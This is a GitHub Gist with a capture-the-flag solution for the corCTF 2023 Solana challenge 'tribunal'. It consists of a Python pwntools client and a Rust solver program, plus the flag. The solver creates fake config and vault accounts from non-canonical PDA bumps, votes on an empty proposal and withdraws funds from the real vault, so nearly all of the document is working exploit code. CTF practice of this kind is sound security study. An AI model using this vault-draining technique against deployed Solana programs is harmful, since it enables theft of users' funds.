Last active
January 22, 2024 13:37
-
-
Save KaoRz/a141d31ce4854a3bc907601a04f81437 to your computer and use it in GitHub Desktop.
tribunal - corCTF 2023 (Solana challenge)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
os.system('cargo build-bpf') | |
from borsh_construct import CStruct, U8 | |
from pwn import * | |
from solders.pubkey import Pubkey as PublicKey | |
from solders.system_program import _ID as SYS_PROGRAM_ID | |
#context.log_level = 'DEBUG' | |
HOST = args.HOST or '127.0.0.1' | |
PORT = args.PORT or 8080 | |
PUBKEY = "KRZzuEV9XhML9N9tzqcc8TqJQerWgxzkMxxgkmFrkCL" | |
PAYLOAD_SCHEMA = CStruct("config_bump" / U8, "vault_bump" / U8) | |
def makeInputPayload(config_bump: int, vault_bump: int): | |
return PAYLOAD_SCHEMA.build({"config_bump": config_bump, "vault_bump": vault_bump}) | |
def findValidBump(seed: bytes, avoid_addr: PublicKey): | |
for guess_bump in range(255, -1, -1): | |
try: | |
guess_addr = PublicKey.create_program_address( | |
[seed, int(guess_bump).to_bytes(1, byteorder="little")], | |
program, | |
) | |
if guess_addr != avoid_addr: | |
break | |
except: | |
continue | |
return guess_addr, guess_bump | |
r = remote(HOST, PORT) | |
solve = open('target/deploy/solver.so', 'rb').read() | |
print(r.recvuntil(b'program pubkey: ').decode()) | |
r.sendline(PUBKEY.encode()) | |
print(r.recvuntil(b'program len: ').decode()) | |
r.sendline(str(len(solve)).encode()) | |
r.send(solve) | |
print(r.recvuntil(b'program: ').decode()) | |
program = PublicKey.from_string(r.recvline().strip().decode()) | |
print(r.recvuntil(b'user: ').decode()) | |
user = PublicKey.from_string(r.recvline().strip().decode()) | |
print(f"program: {program}") | |
print(f"user: {user}") | |
config_vault, _ = PublicKey.find_program_address([b'CONFIG'], program) | |
target_vault, _ = PublicKey.find_program_address([b'VAULT'], program) | |
empty_proposal, _ = PublicKey.find_program_address([b'PROPOSAL', int(1).to_bytes(1, byteorder="little")], program) | |
fake_config, config_bump = findValidBump(b"CONFIG", config_vault) | |
fake_vault, vault_bump = findValidBump(b"VAULT", target_vault) | |
input_payload = makeInputPayload(config_bump, vault_bump) | |
print(r.recvuntil(b'num accounts: ').decode()) | |
r.sendline(b'7') | |
r.sendline(b'zzzz ' + str(program).encode("UTF-8")) | |
r.sendline(b'ws ' + str(user).encode("UTF-8")) | |
r.sendline(b'w ' + str(fake_config).encode("UTF-8")) | |
r.sendline(b'w ' + str(fake_vault).encode("UTF-8")) | |
r.sendline(b'w ' + str(target_vault).encode("UTF-8")) | |
r.sendline(b'w ' + str(empty_proposal).encode("UTF-8")) | |
r.sendline(b'zzzz ' + str(SYS_PROGRAM_ID).encode("UTF-8")) | |
print(r.recvuntil(b'ix len: ').decode()) | |
r.sendline(str(len(input_payload)).encode()) | |
r.send(input_payload) | |
r.interactive() | |
# corctf{its_y0ur_time_to_f4ce_the_CoR_tribunal} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use borsh::{ BorshSerialize, BorshDeserialize }; | |
use solana_program::{ | |
account_info::{ | |
next_account_info, | |
AccountInfo, | |
}, | |
entrypoint::ProgramResult, | |
instruction::{ | |
AccountMeta, | |
Instruction, | |
}, | |
program::invoke, | |
pubkey::Pubkey, | |
system_program, | |
entrypoint, | |
}; | |
use tribunal::processor::TribunalInstruction; | |
#[derive(BorshDeserialize)] | |
struct InputPayload { | |
config_bump: u8, | |
vault_bump: u8, | |
} | |
entrypoint!(process_instruction); | |
pub fn process_instruction( | |
_program: &Pubkey, | |
accounts: &[AccountInfo], | |
data: &[u8] | |
) -> ProgramResult { | |
let account_iter = &mut accounts.iter(); | |
let sol_program = next_account_info(account_iter)?; | |
let user = next_account_info(account_iter)?; | |
let fake_config = next_account_info(account_iter)?; | |
let fake_vault = next_account_info(account_iter)?; | |
let target_vault = next_account_info(account_iter)?; | |
let empty_proposal = next_account_info(account_iter)?; | |
let bumps = InputPayload::try_from_slice(data).unwrap(); | |
invoke( | |
&Instruction { | |
program_id: *sol_program.key, | |
accounts: vec![ | |
AccountMeta::new(*user.key, true), | |
AccountMeta::new(*fake_config.key, false), | |
AccountMeta::new(*fake_vault.key, false), | |
AccountMeta::new_readonly(system_program::id(), false), | |
], | |
data: TribunalInstruction::Initialize { | |
config_bump: bumps.config_bump, | |
vault_bump: bumps.vault_bump | |
}.try_to_vec().unwrap(), | |
}, | |
&[user.clone(), fake_config.clone(), fake_vault.clone()] | |
)?; | |
invoke( | |
&Instruction { | |
program_id: *sol_program.key, | |
accounts: vec![ | |
AccountMeta::new(*user.key, true), | |
AccountMeta::new(*fake_config.key, false), | |
AccountMeta::new(*fake_vault.key, false), | |
AccountMeta::new(*empty_proposal.key, false), | |
AccountMeta::new_readonly(system_program::id(), false), | |
], | |
data: TribunalInstruction::Vote { | |
proposal_id: 1, | |
amount: 10 | |
}.try_to_vec().unwrap(), | |
}, | |
&[user.clone(), fake_config.clone(), fake_vault.clone(), empty_proposal.clone()] | |
)?; | |
invoke( | |
&Instruction { | |
program_id: *sol_program.key, | |
accounts: vec![ | |
AccountMeta::new(*user.key, true), | |
AccountMeta::new(*fake_config.key, false), | |
AccountMeta::new(*target_vault.key, false), | |
AccountMeta::new_readonly(system_program::id(), false), | |
], | |
data: TribunalInstruction::Withdraw { | |
amount: 95_000_000_000 | |
}.try_to_vec().unwrap(), | |
}, | |
&[user.clone(), fake_config.clone(), target_vault.clone()] | |
)?; | |
Ok(()) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment